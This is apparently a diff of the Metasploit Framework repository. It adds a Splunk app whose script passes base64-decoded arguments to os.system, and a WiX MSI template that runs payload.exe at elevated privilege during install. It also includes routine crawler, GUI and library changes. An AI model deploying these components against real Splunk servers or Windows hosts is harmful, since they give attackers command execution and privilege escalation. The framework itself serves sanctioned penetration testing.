@ -0,0 +1,29 @@
|
|||
<?xml version='1.0' encoding='windows-1252'?>
|
||||
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
|
||||
<Product Name='Foobar 1.0' Id='*'
|
||||
Language='1033' Codepage='1252' Version='1.0.0' Manufacturer='Acme Ltd.'>
|
||||
|
||||
<Package InstallerVersion="100" Languages="0" Manufacturer="Acme Ltd." ReadOnly="no" />
|
||||
|
||||
<Media Id='1' Cabinet='product.cab' EmbedCab='yes' />
|
||||
|
||||
<Directory Id='TARGETDIR' Name='SourceDir'>
|
||||
<Component Id='MyComponent' Guid='12345678-1234-1234-1234-123456789012'>
|
||||
<Condition>0</Condition>
|
||||
</Component>
|
||||
</Directory>
|
||||
|
||||
<!-- Execute must be deferred and Impersonate no to run as a higher privilege level -->
|
||||
<CustomAction Id='ExecNotepad' Directory='TARGETDIR' Impersonate='no' Execute='deferred' ExeCommand='[SourceDir]payload.exe' Return='asyncNoWait'/>
|
||||
|
||||
<Feature Id='Complete' Level='1'>
|
||||
<ComponentRef Id='MyComponent' />
|
||||
</Feature>
|
||||
|
||||
<InstallExecuteSequence>
|
||||
<ResolveSource After="CostInitialize" />
|
||||
<Custom Action="ExecNotepad" After="InstallInitialize" />
|
||||
</InstallExecuteSequence>
|
||||
|
||||
</Product>
|
||||
</Wix>
|
|
@ -0,0 +1,15 @@
|
|||
import sys
|
||||
import base64
|
||||
import splunk.Intersplunk
|
||||
|
||||
results = []
|
||||
|
||||
try:
|
||||
sys.modules['os'].system(base64.b64decode(sys.argv[1]))
|
||||
|
||||
except:
|
||||
import traceback
|
||||
stack = traceback.format_exc()
|
||||
results = splunk.Intersplunk.generateErrorResults("Error : Traceback: " + str(stack))
|
||||
|
||||
splunk.Intersplunk.outputResults(results)
|
|
@ -0,0 +1,7 @@
|
|||
[launcher]
|
||||
author=Marc Wickenden
|
||||
description=Metasploit module spunk_upload_app_exec.rb
|
||||
version=1.3.3.7
|
||||
|
||||
[ui]
|
||||
is_visible = true
|
|
@ -0,0 +1,7 @@
|
|||
[msf_exec]
|
||||
type = python
|
||||
filename = msf_exec.py
|
||||
local = false
|
||||
enableheader = false
|
||||
streaming = false
|
||||
perf_warn_limit = 0
|
|
@ -0,0 +1,2 @@
|
|||
[commands]
|
||||
export = system
|
|
@ -423,7 +423,12 @@ nameloop: for (int i = 0; i < names.length; i++) {
|
|||
public ActionListener getActor(final String modName, final String type, final RpcConnection rpcConn) {
|
||||
return new ActionListener(){
|
||||
public void actionPerformed(ActionEvent e) {
|
||||
new ModulePopup(modName,rpcConn,type, MainFrame.this).setVisible(true);
|
||||
//If we have saved options for this module, use those
|
||||
Object modOptions = MsfguiApp.getPropertiesNode().get("modOptions");
|
||||
if(modOptions != null && ((Map)modOptions).containsKey(type+" "+modName))
|
||||
new ModulePopup(rpcConn, ((List)((Map)modOptions).get(type+" "+modName)).toArray(), MainFrame.this).setVisible(true);
|
||||
else //otherwise go with the default
|
||||
new ModulePopup(modName,rpcConn,type, MainFrame.this).setVisible(true);
|
||||
}
|
||||
};
|
||||
}
|
||||
|
|
|
@ -287,12 +287,19 @@ public class MsfguiApp extends SingleFrameApplication {
|
|||
}
|
||||
Map hash = (Map)args.get(2);
|
||||
StringBuilder name = new StringBuilder(args.get(0) + " " + args.get(1));
|
||||
//Save these options
|
||||
if(!propRoot.containsKey("modOptions")) //first ensure option map exists
|
||||
propRoot.put("modOptions", new HashMap());
|
||||
((Map)propRoot.get("modOptions")).put(name.toString(), args);
|
||||
|
||||
//Generate display name
|
||||
for(Object ento : hash.entrySet()){
|
||||
Entry ent = (Entry)ento;
|
||||
String propName = ent.getKey().toString();
|
||||
if(propName.endsWith("HOST") || propName.endsWith("PORT") || propName.equals("PAYLOAD"))
|
||||
name.append(" ").append(propName).append("-").append(ent.getValue());
|
||||
}
|
||||
//Make menu item
|
||||
final JMenuItem item = new JMenuItem(name.toString());
|
||||
item.addActionListener(new ActionListener() {
|
||||
public void actionPerformed(ActionEvent e) {
|
||||
|
|
|
@ -0,0 +1,7 @@
|
|||
This directory must be populated with the libs and includes for the commercial
|
||||
Packet SDK in order for the sniffer extension to build. This SDK is not
|
||||
publicly available at this time.
|
||||
|
||||
The 32-bit lib should be copied to win32/pssdk.lib
|
||||
The 64-bit lib should be copied to win64/pssdk.lib
|
||||
|
|
@ -9,7 +9,7 @@ require 'anemone/storage/base'
|
|||
|
||||
module Anemone
|
||||
|
||||
VERSION = '0.5.0';
|
||||
VERSION = '0.5.0'
|
||||
|
||||
#
|
||||
# Convenience method to start a crawl
|
||||
|
@ -48,7 +48,7 @@ module Anemone
|
|||
:cookies => nil,
|
||||
# basic authentication data to send with HTTP requests
|
||||
:http_basic_auth => nil,
|
||||
# array or raw header lines to inject into each request
|
||||
# array or raw header lines to inject into each request
|
||||
:inject_headers => [],
|
||||
# accept cookies from the server and send them back?
|
||||
:accept_cookies => false,
|
||||
|
@ -77,7 +77,7 @@ module Anemone
|
|||
@skip_link_patterns = []
|
||||
@after_crawl_blocks = []
|
||||
@opts = opts
|
||||
|
||||
|
||||
yield self if block_given?
|
||||
end
|
||||
|
||||
|
@ -277,7 +277,7 @@ module Anemone
|
|||
false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Returns +true+ if *link* should not be visited because
|
||||
# it has a query string and +skip_query_strings+ is true.
|
||||
|
@ -301,6 +301,6 @@ module Anemone
|
|||
@tentacles.each {|t| t.kill rescue nil }
|
||||
@pages = nil
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,7 @@
|
|||
class Anemone::Extractors::Anchors < Anemone::Extractors::Base
|
||||
|
||||
def run
|
||||
doc.search( '//a[@href]' ).map { |a| a['href'] }
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,12 @@
|
|||
class Anemone::Extractors::Dirbuster < Anemone::Extractors::Base
|
||||
|
||||
def run
|
||||
return [] if page.code.to_i != 200
|
||||
|
||||
@@dirs ||= nil
|
||||
|
||||
return @@dirs if @@dirs
|
||||
@@dirs = IO.read( File.dirname( __FILE__ ) + '/dirbuster/directories' ).split( "\n" )
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,10 @@
|
|||
test/
|
||||
tmp/
|
||||
stuff/
|
||||
awstats/
|
||||
awstats/awstats/
|
||||
basilic/
|
||||
cacti/
|
||||
docs/text/manual.txt
|
||||
docs/CHANGELOG
|
||||
docs/html/php_script_server.html
|
|
@ -0,0 +1,7 @@
|
|||
class Anemone::Extractors::Forms < Anemone::Extractors::Base
|
||||
|
||||
def run
|
||||
doc.search( '//form[@action]' ).map { |a| a['action'] }
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,7 @@
|
|||
class Anemone::Extractors::Frames < Anemone::Extractors::Base
|
||||
|
||||
def run
|
||||
doc.css( 'frame', 'iframe' ).map { |a| a.attributes['src'].content rescue next }
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,50 @@
|
|||
require 'uri'
|
||||
|
||||
class Anemone::Extractors::Generic < Anemone::Extractors::Base
|
||||
|
||||
def run
|
||||
URI.extract( doc.to_s, %w(http https) ).map do |u|
|
||||
#
|
||||
# This extractor needs to be a tiny bit intelligent because
|
||||
# due to its generic nature it'll inevitably match some garbage.
|
||||
#
|
||||
# For example, if some JS code contains:
|
||||
#
|
||||
# var = 'http://blah.com?id=1'
|
||||
#
|
||||
# or
|
||||
#
|
||||
# var = { 'http://blah.com?id=1', 1 }
|
||||
#
|
||||
#
|
||||
# The URI.extract call will match:
|
||||
#
|
||||
# http://blah.com?id=1'
|
||||
#
|
||||
# and
|
||||
#
|
||||
# http://blah.com?id=1',
|
||||
#
|
||||
# respectively.
|
||||
#
|
||||
if !includes_quotes?( u )
|
||||
u
|
||||
else
|
||||
if html.include?( "'#{u}" )
|
||||
u.split( '\'' ).first
|
||||
elsif html.include?( "\"#{u}" )
|
||||
u.split( '"' ).first
|
||||
else
|
||||
u
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue
|
||||
[]
|
||||
end
|
||||
|
||||
def includes_quotes?( url )
|
||||
url.include?( '\'' ) || url.include?( '"' )
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,7 @@
|
|||
class Anemone::Extractors::Links < Anemone::Extractors::Base
|
||||
|
||||
def run
|
||||
doc.search( "//link[@href]" ).map { |a| a['href'] }
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,24 @@
|
|||
class Anemone::Extractors::MetaRefresh < Anemone::Extractors::Base
|
||||
|
||||
def run
|
||||
doc.search( "//meta[@http-equiv='refresh']" ).map do |url|
|
||||
begin
|
||||
_, url = url['content'].split( ';', 2 )
|
||||
next if !url
|
||||
unquote( url.split( '=', 2 ).last )
|
||||
rescue
|
||||
next
|
||||
end
|
||||
end
|
||||
rescue
|
||||
nil
|
||||
end
|
||||
|
||||
def unquote( str )
|
||||
[ '\'', '"' ].each do |q|
|
||||
return str[1...-1] if str.start_with?( q ) && str.end_with?( q )
|
||||
end
|
||||
str
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,7 @@
|
|||
class Anemone::Extractors::Scripts < Anemone::Extractors::Base
|
||||
|
||||
def run
|
||||
doc.search( '//script[@src]' ).map { |a| a['src'] }
|
||||
end
|
||||
|
||||
end
|
|
@ -3,6 +3,22 @@ require 'ostruct'
|
|||
require 'webrick/cookie'
|
||||
|
||||
module Anemone
|
||||
|
||||
# Path extractor container namespace.
|
||||
module Extractors
|
||||
class Base
|
||||
attr_reader :page
|
||||
|
||||
def initialize( page )
|
||||
@page = page
|
||||
end
|
||||
|
||||
def doc
|
||||
page.doc
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class Page
|
||||
|
||||
# The URL of the page
|
||||
|
@ -31,7 +47,7 @@ module Anemone
|
|||
attr_accessor :response_time
|
||||
# Storage for the original HTTP request that generated this response
|
||||
attr_accessor :request
|
||||
|
||||
|
||||
#
|
||||
# Create a new page
|
||||
#
|
||||
|
@ -53,51 +69,52 @@ module Anemone
|
|||
@fetched = !params[:code].nil?
|
||||
end
|
||||
|
||||
def self.extractors
|
||||
return @extractors if @extractors
|
||||
|
||||
lib = File.dirname( __FILE__ ) + '/extractors/*.rb'
|
||||
Dir.glob( lib ).each { |e| require e }
|
||||
|
||||
@extractors = Extractors.constants.map do |e|
|
||||
next if e == :Base
|
||||
Extractors.const_get( e )
|
||||
end.compact
|
||||
end
|
||||
|
||||
def run_extractors
|
||||
return [] if !doc
|
||||
self.class.extractors.map { |e| e.new( self ).run rescue next }.flatten.
|
||||
compact.map do |p|
|
||||
abs = to_absolute( URI( p ) ) rescue next
|
||||
!in_domain?( abs ) ? nil : abs
|
||||
end.compact.uniq
|
||||
end
|
||||
|
||||
#
|
||||
# Array of distinct A tag HREFs from the page
|
||||
#
|
||||
# MODIFIED: Dig URLs from elements other than "A" refs
|
||||
#
|
||||
# MODIFIED: Dig URLs from elements other than "A" refs
|
||||
#
|
||||
def links
|
||||
return @links unless @links.nil?
|
||||
return @links if @links
|
||||
@links = []
|
||||
return @links if !doc
|
||||
|
||||
# First extract normal, direct links
|
||||
etypes = %W{a frame iframe}
|
||||
doc.css(*etypes).each do |r|
|
||||
u = r['src'] || r['href']
|
||||
next if u.nil? or u.empty?
|
||||
abs = to_absolute(URI(u)) rescue next
|
||||
@links << abs if in_domain?(abs)
|
||||
end
|
||||
|
||||
# Now create links from other content URLs
|
||||
etypes = %W{img script link form}
|
||||
doc.css(*etypes).each do |r|
|
||||
u = r['src'] || r['href'] || r['action']
|
||||
next if u.nil? or u.empty?
|
||||
|
||||
# Remove any query string
|
||||
u,tmp = u.split('?',2)
|
||||
|
||||
# Back off to the containing directory
|
||||
u.gsub!(/(.*\/)[^\/]+$/, "\\1")
|
||||
|
||||
abs = to_absolute(URI(u)) rescue next
|
||||
@links << abs if in_domain?(abs)
|
||||
end
|
||||
|
||||
nlinks = []
|
||||
@links.each do |u|
|
||||
bits = u.path.split('/')
|
||||
while(bits.length > 0)
|
||||
@links = run_extractors
|
||||
|
||||
@links |= @links.map do |u|
|
||||
# back-off to the parent dir
|
||||
to_absolute( URI( u.path.gsub( /(.*\/)[^\/]+$/, "\\1" ) ) ) rescue next
|
||||
end.uniq.compact
|
||||
|
||||
@links |= @links.map do |u|
|
||||
bits = u.path.split( '/' )
|
||||
while bits.length > 0
|
||||
bits.pop
|
||||
nlinks << to_absolute(URI(bits.join('/'))) rescue next
|
||||
end
|
||||
end
|
||||
|
||||
@links.push(nlinks)
|
||||
to_absolute( URI( bits.join( '/' ) ) ) rescue next
|
||||
end
|
||||
end.uniq.compact
|
||||
|
||||
@links.flatten!
|
||||
@links.uniq!
|
||||
@links
|
||||
|
@ -206,7 +223,7 @@ module Anemone
|
|||
'headers' => Marshal.dump(@headers),
|
||||
'data' => Marshal.dump(@data),
|
||||
'body' => @body,
|
||||
'links' => links.map(&:to_s),
|
||||
'links' => links.map(&:to_s),
|
||||
'code' => @code,
|
||||
'visited' => @visited,
|
||||
'depth' => @depth,
|
||||
|
@ -234,5 +251,10 @@ module Anemone
|
|||
end
|
||||
page
|
||||
end
|
||||
|
||||
def dup
|
||||
Marshal.load( Marshal.dump( self ) )
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -5,7 +5,7 @@ require 'anemone/cookie_store'
|
|||
|
||||
#
|
||||
# This is an alternate Anemone::HTTP implementation that uses the Metasploit Rex
|
||||
# library and the Rex::Proto::Http protocol stack.
|
||||
# library and the Rex::Proto::Http protocol stack.
|
||||
#
|
||||
|
||||
module Anemone
|
||||
|
@ -39,7 +39,7 @@ module Anemone
|
|||
url = URI(url) unless url.is_a?(URI)
|
||||
pages = []
|
||||
get(url, referer) do |response, code, location, redirect_to, response_time|
|
||||
|
||||
|
||||
page = Page.new(location, :body => response.body.dup,
|
||||
:code => code,
|
||||
:headers => response.headers,
|
||||
|
@ -84,7 +84,7 @@ module Anemone
|
|||
def virtual_host(url)
|
||||
url.host
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Does this HTTP client accept cookies from the server?
|
||||
#
|
||||
|
@ -109,15 +109,15 @@ module Anemone
|
|||
|
||||
response, response_time = get_response(loc, referer)
|
||||
code = response.code.to_i
|
||||
|
||||
|
||||
redirect_to = nil
|
||||
if code >= 300 and code <= 310
|
||||
redirect_to = URI(response['location']).normalize
|
||||
end
|
||||
|
||||
|
||||
yield response, code, loc, redirect_to, response_time
|
||||
|
||||
|
||||
|
||||
|
||||
limit -= 1
|
||||
end while (loc = redirect_to) && allowed?(redirect_to, url) && limit > 0
|
||||
end
|
||||
|
@ -129,12 +129,11 @@ module Anemone
|
|||
# it is sent to the remote system.
|
||||
#
|
||||
def get_response(url, referer = nil)
|
||||
full_path = url.query.nil? ? url.path : "#{url.path}?#{url.query}"
|
||||
|
||||
opts = {
|
||||
'uri' => url.path
|
||||
'uri' => url.path,
|
||||
'query' => url.query
|
||||
}
|
||||
|
||||
|
||||
opts['agent'] = user_agent if user_agent
|
||||
opts['cookie'] = @cookie_store.to_s unless @cookie_store.empty? || (!accept_cookies? && @opts[:cookies].nil?)
|
||||
|
||||
|
@ -142,7 +141,7 @@ module Anemone
|
|||
if referer
|
||||
head['Referer'] = referer.to_s
|
||||
end
|
||||
|
||||
|
||||
if @opts[:http_basic_auth]
|
||||
head['Authorization'] = "Basic " + @opts[:http_basic_auth]
|
||||
end
|
||||
|
@ -151,24 +150,24 @@ module Anemone
|
|||
k,v = hdr.split(':', 2)
|
||||
head[k] = v
|
||||
end
|
||||
|
||||
|
||||
opts['headers'] = head
|
||||
|
||||
|
||||
retries = 0
|
||||
begin
|
||||
start = Time.now()
|
||||
|
||||
|
||||
response = nil
|
||||
request = nil
|
||||
begin
|
||||
conn = connection(url)
|
||||
request = conn.request_raw(opts)
|
||||
response = conn.send_recv(request, @opts[:timeout] || 10 )
|
||||
response = conn.send_recv(request, @opts[:timeout] || 10 )
|
||||
rescue ::Errno::EPIPE, ::Timeout::Error
|
||||
end
|
||||
|
||||
|
||||
finish = Time.now()
|
||||
|
||||
|
||||
response_time = ((finish - start) * 1000).round
|
||||
@cookie_store.merge!(response['Set-Cookie']) if accept_cookies?
|
||||
return response, response_time
|
||||
|
@ -191,12 +190,12 @@ module Anemone
|
|||
'SSLv23',
|
||||
@opts[:proxies]
|
||||
)
|
||||
|
||||
|
||||
conn.set_config(
|
||||
'vhost' => virtual_host(url),
|
||||
'agent' => user_agent
|
||||
)
|
||||
|
||||
|
||||
conn
|
||||
end
|
||||
|
||||
|
|
139
lib/fastlib.rb
139
lib/fastlib.rb
|
@ -8,7 +8,7 @@
|
|||
#
|
||||
|
||||
#
|
||||
# This format was specifically created to improve the performance and
|
||||
# This format was specifically created to improve the performance and
|
||||
# AV-resistance of the Metasploit Framework and Rex libraries.
|
||||
#
|
||||
|
||||
|
@ -26,7 +26,7 @@ require "find"
|
|||
# Copyright (C) 2011 Rapid7. You can redistribute it and/or
|
||||
# modify it under the terms of the ruby license.
|
||||
#
|
||||
#
|
||||
#
|
||||
# Roughly based on the rubyzip zip/ziprequire library:
|
||||
# >> Copyright (C) 2002 Thomas Sondergaard
|
||||
# >> rubyzip is free software; you can redistribute it and/or
|
||||
|
@ -42,10 +42,10 @@ class FastLib
|
|||
|
||||
FLAG_COMPRESS = 0x01
|
||||
FLAG_ENCRYPT = 0x02
|
||||
|
||||
|
||||
@@cache = {}
|
||||
@@has_zlib = false
|
||||
|
||||
|
||||
#
|
||||
# Load zlib support if possible
|
||||
#
|
||||
|
@ -54,16 +54,16 @@ class FastLib
|
|||
@@has_zlib = true
|
||||
rescue ::LoadError
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This method returns the version of the fastlib library
|
||||
#
|
||||
def self.version
|
||||
VERSION
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This method loads content from a specific archive file by name. If the
|
||||
# This method loads content from a specific archive file by name. If the
|
||||
# noprocess argument is set to true, the contents will not be expanded to
|
||||
# include workarounds for things such as __FILE__. This is useful when
|
||||
# loading raw binary data where these strings may occur
|
||||
|
@ -72,55 +72,55 @@ class FastLib
|
|||
data = ""
|
||||
load_cache(lib)
|
||||
|
||||
return if not ( @@cache[lib] and @@cache[lib][name] )
|
||||
|
||||
|
||||
return unless ( @@cache[lib] and @@cache[lib][name] )
|
||||
|
||||
|
||||
::File.open(lib, "rb") do |fd|
|
||||
fd.seek(
|
||||
@@cache[lib][:fastlib_header][0] +
|
||||
@@cache[lib][:fastlib_header][1] +
|
||||
@@cache[lib][:fastlib_header][1] +
|
||||
@@cache[lib][name][0]
|
||||
)
|
||||
data = fastlib_filter_decode( lib, fd.read(@@cache[lib][name][1] ))
|
||||
end
|
||||
|
||||
|
||||
# Return the contents in raw or processed form
|
||||
noprocess ? data : post_process(lib, name, data)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This method caches the file list and offsets within the archive
|
||||
#
|
||||
def self.load_cache(lib)
|
||||
return if @@cache[lib]
|
||||
@@cache[lib] = {}
|
||||
|
||||
|
||||
return if not ::File.exists?(lib)
|
||||
|
||||
|
||||
::File.open(lib, 'rb') do |fd|
|
||||
dict = {}
|
||||
head = fd.read(4)
|
||||
return if head != "FAST"
|
||||
hlen = fd.read(4).unpack("N")[0]
|
||||
flag = fd.read(4).unpack("N")[0]
|
||||
|
||||
flag = fd.read(4).unpack("N")[0]
|
||||
|
||||
@@cache[lib][:fastlib_header] = [12, hlen, fd.stat.mtime.utc.to_i ]
|
||||
@@cache[lib][:fastlib_flags] = flag
|
||||
|
||||
|
||||
nlen, doff, dlen, tims = fd.read(16).unpack("N*")
|
||||
|
||||
|
||||
while nlen > 0
|
||||
name = fastlib_filter_decode( lib, fd.read(nlen) )
|
||||
dict[name] = [doff, dlen, tims]
|
||||
|
||||
|
||||
nlen, doff, dlen, tims = fd.read(16).unpack("N*")
|
||||
end
|
||||
|
||||
|
||||
@@cache[lib].merge!(dict)
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This method provides compression and encryption capabilities
|
||||
# for the fastlib archive format.
|
||||
|
@ -128,7 +128,7 @@ class FastLib
|
|||
def self.fastlib_filter_decode(lib, buff)
|
||||
|
||||
if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0
|
||||
|
||||
|
||||
@@cache[lib][:fastlib_decrypt] ||= ::Proc.new do |data|
|
||||
stub = "decrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 )
|
||||
FastLib.send(stub, data)
|
||||
|
@ -136,7 +136,7 @@ class FastLib
|
|||
|
||||
buff = @@cache[lib][:fastlib_decrypt].call( buff )
|
||||
end
|
||||
|
||||
|
||||
if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0
|
||||
if not @@has_zlib
|
||||
raise ::RuntimeError, "zlib is required to open this archive"
|
||||
|
@ -145,9 +145,9 @@ class FastLib
|
|||
z = Zlib::Inflate.new
|
||||
buff = z.inflate(buff)
|
||||
buff << z.finish
|
||||
z.close
|
||||
z.close
|
||||
end
|
||||
|
||||
|
||||
buff
|
||||
end
|
||||
|
||||
|
@ -156,7 +156,7 @@ class FastLib
|
|||
# for the fastlib archive format.
|
||||
#
|
||||
def self.fastlib_filter_encode(lib, buff)
|
||||
|
||||
|
||||
if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0
|
||||
if not @@has_zlib
|
||||
raise ::RuntimeError, "zlib is required to open this archive"
|
||||
|
@ -165,11 +165,11 @@ class FastLib
|
|||
z = Zlib::Deflate.new
|
||||
buff = z.deflate(buff)
|
||||
buff << z.finish
|
||||
z.close
|
||||
z.close
|
||||
end
|
||||
|
||||
if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0
|
||||
|
||||
|
||||
@@cache[lib][:fastlib_encrypt] ||= ::Proc.new do |data|
|
||||
stub = "encrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 )
|
||||
FastLib.send(stub, data)
|
||||
|
@ -177,7 +177,7 @@ class FastLib
|
|||
|
||||
buff = @@cache[lib][:fastlib_encrypt].call( buff )
|
||||
end
|
||||
|
||||
|
||||
buff
|
||||
end
|
||||
|
||||
|
@ -185,54 +185,57 @@ class FastLib
|
|||
# This method provides a way to create a FASTLIB archive programatically.
|
||||
#
|
||||
# @param [String] lib the output path for the archive
|
||||
# @param [String] flag a string containing the hex values for the flags ({FLAG_COMPRESS} and {FLAG_ENCRYPT}).
|
||||
# @param [String] bdir the path to the base directory which will be stripped from all paths included in the archive
|
||||
# @param [Array<String>] dirs list of directories/files to pack into the archive. All dirs should be under bdir so
|
||||
# that the paths are stripped correctly.
|
||||
# @param [String] flag a string containing the hex values for the
|
||||
# flags ({FLAG_COMPRESS} and {FLAG_ENCRYPT}).
|
||||
# @param [String] bdir the path to the base directory which will be
|
||||
# stripped from all paths included in the archive
|
||||
# @param [Array<String>] dirs list of directories/files to pack into
|
||||
# the archive. All dirs should be under bdir so that the paths are
|
||||
# stripped correctly.
|
||||
# @return [void]
|
||||
def self.dump(lib, flag, bdir, *dirs)
|
||||
head = ""
|
||||
data = ""
|
||||
hidx = 0
|
||||
didx = 0
|
||||
|
||||
|
||||
bdir = bdir.gsub(/\/$/, '')
|
||||
brex = /^#{Regexp.escape(bdir)}\//
|
||||
|
||||
|
||||
@@cache[lib] = {
|
||||
:fastlib_flags => flag.to_i(16)
|
||||
}
|
||||
|
||||
|
||||
dirs.each do |dir|
|
||||
::Find.find(dir).each do |path|
|
||||
::Find.find(dir) do |path|
|
||||
next if not ::File.file?(path)
|
||||
name = fastlib_filter_encode( lib, path.sub( brex, "" ) )
|
||||
|
||||
|
||||
buff = ""
|
||||
::File.open(path, "rb") do |fd|
|
||||
buff = fastlib_filter_encode(lib, fd.read(fd.stat.size))
|
||||
end
|
||||
|
||||
|
||||
|
||||
head << [ name.length, didx, buff.length, ::File.stat(path).mtime.utc.to_i ].pack("NNNN")
|
||||
head << name
|
||||
hidx = hidx + 16 + name.length
|
||||
|
||||
|
||||
data << buff
|
||||
didx = didx + buff.length
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
head << [0,0,0].pack("NNN")
|
||||
|
||||
|
||||
::File.open(lib, "wb") do |fd|
|
||||
fd.write("FAST")
|
||||
fd.write( [ head.length, flag.to_i(16) ].pack("NN") )
|
||||
fd.write( head )
|
||||
fd.write( data )
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This archive provides a way to list the contents of an archive
|
||||
# file, returning the names only in sorted order.
|
||||
|
@ -241,7 +244,7 @@ class FastLib
|
|||
load_cache(lib)
|
||||
( @@cache[lib] || {} ).keys.map{|x| x.to_s }.sort.select{ |x| @@cache[lib][x] }
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This method is called on the loaded is required to expand __FILE__
|
||||
# and other inline dynamic constants to map to the correct location.
|
||||
|
@ -249,7 +252,7 @@ class FastLib
|
|||
def self.post_process(lib, name, data)
|
||||
data.gsub('__FILE__', "'#{ ::File.expand_path(::File.join(::File.dirname(lib), name)) }'")
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This is a stub crypto handler that performs a basic XOR
|
||||
# operation against a fixed one byte key. The two usable IDs
|
||||
|
@ -258,25 +261,25 @@ class FastLib
|
|||
def self.encrypt_12345600(data)
|
||||
encrypt_00000000(data)
|
||||
end
|
||||
|
||||
|
||||
def self.decrypt_12345600(data)
|
||||
encrypt_00000000(data)
|
||||
end
|
||||
|
||||
|
||||
def self.encrypt_00000000(data)
|
||||
data.unpack("C*").map{ |c| c ^ 0x90 }.pack("C*")
|
||||
end
|
||||
|
||||
|
||||
def self.decrypt_00000000(data)
|
||||
encrypt_00000000(data)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Expose the cache to callers
|
||||
#
|
||||
def self.cache
|
||||
@@cache
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
@ -290,7 +293,7 @@ if __FILE__ == $0
|
|||
$stderr.puts "Usage: #{$0} [dump|list|version] <arguments>"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
|
||||
case cmd
|
||||
when "store"
|
||||
dst = ARGV.shift
|
||||
|
@ -302,7 +305,7 @@ if __FILE__ == $0
|
|||
exit(0)
|
||||
end
|
||||
FastLib.dump(dst, flg, dir, *src)
|
||||
|
||||
|
||||
when "list"
|
||||
src = ARGV.shift
|
||||
unless src
|
||||
|
@ -321,7 +324,7 @@ if __FILE__ == $0
|
|||
when "version"
|
||||
$stdout.puts "FastLib Version #{FastLib.version}"
|
||||
end
|
||||
|
||||
|
||||
exit(0)
|
||||
end
|
||||
|
||||
|
@ -338,7 +341,7 @@ end
|
|||
* The header entries always consist of 16 bytes + name length (no alignment)
|
||||
* The header name data may be encoded, compressed, or transformed
|
||||
* The data entries may be encoded, compressed, or transformed too
|
||||
|
||||
|
||||
|
||||
4 bytes: "FAST"
|
||||
4 bytes: NBO header length
|
||||
|
@ -356,7 +359,7 @@ end
|
|||
|
||||
module Kernel #:nodoc:all
|
||||
alias :fastlib_original_require :require
|
||||
|
||||
|
||||
#
|
||||
# Store the CWD when were initially loaded
|
||||
# required for resolving relative paths
|
||||
|
@ -366,11 +369,11 @@ module Kernel #:nodoc:all
|
|||
#
|
||||
# This method hooks the original Kernel.require to support
|
||||
# loading files within FASTLIB archives
|
||||
#
|
||||
#
|
||||
def require(name)
|
||||
fastlib_require(name) || fastlib_original_require(name)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This method handles the loading of FASTLIB archives
|
||||
#
|
||||
|
@ -379,24 +382,24 @@ module Kernel #:nodoc:all
|
|||
return false if fastlib_already_loaded?(name)
|
||||
return false if fastlib_already_tried?(name)
|
||||
|
||||
# XXX Implement relative search paths within archives
|
||||
$:.map{ |path|
|
||||
# XXX Implement relative search paths within archives
|
||||
$:.map{ |path|
|
||||
(path =~ /^([A-Za-z]\:|\/)/ ) ? path : ::File.expand_path( ::File.join(@@fastlib_base_cwd, path) )
|
||||
}.map{ |path| ::Dir["#{path}/*.fastlib"] }.flatten.uniq.each do |lib|
|
||||
data = FastLib.load(lib, name)
|
||||
next if not data
|
||||
$" << name
|
||||
|
||||
|
||||
Object.class_eval(data, lib + "::" + name)
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
$fastlib_miss << name
|
||||
|
||||
$fastlib_miss << name
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This method determines whether the specific file name
|
||||
# has already been loaded ($LOADED_FEATURES aka $")
|
||||
|
@ -414,11 +417,11 @@ module Kernel #:nodoc:all
|
|||
# TODO: Ensure that this only applies to known FASTLIB
|
||||
# archives and that newly included archives will
|
||||
# be searched appropriately.
|
||||
#
|
||||
#
|
||||
def fastlib_already_tried?(name)
|
||||
$fastlib_miss ||= []
|
||||
$fastlib_miss.include?(name)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
|
|
@ -69,8 +69,7 @@ module Exploit
|
|||
|
||||
# Make sure parameters are valid.
|
||||
if (opts['Payload'] == nil)
|
||||
raise MissingPayloadError,
|
||||
"You must specify a payload.", caller
|
||||
raise MissingPayloadError.new, caller
|
||||
end
|
||||
|
||||
# Verify the options
|
||||
|
@ -81,7 +80,7 @@ module Exploit
|
|||
|
||||
# Initialize the driver instance
|
||||
driver.exploit = exploit
|
||||
driver.payload = exploit.framework.modules.create(opts['Payload'])
|
||||
driver.payload = exploit.framework.payloads.create(opts['Payload'])
|
||||
|
||||
# Set the force wait for session flag if the caller requested force
|
||||
# blocking. This is so that passive exploits can be blocked on from
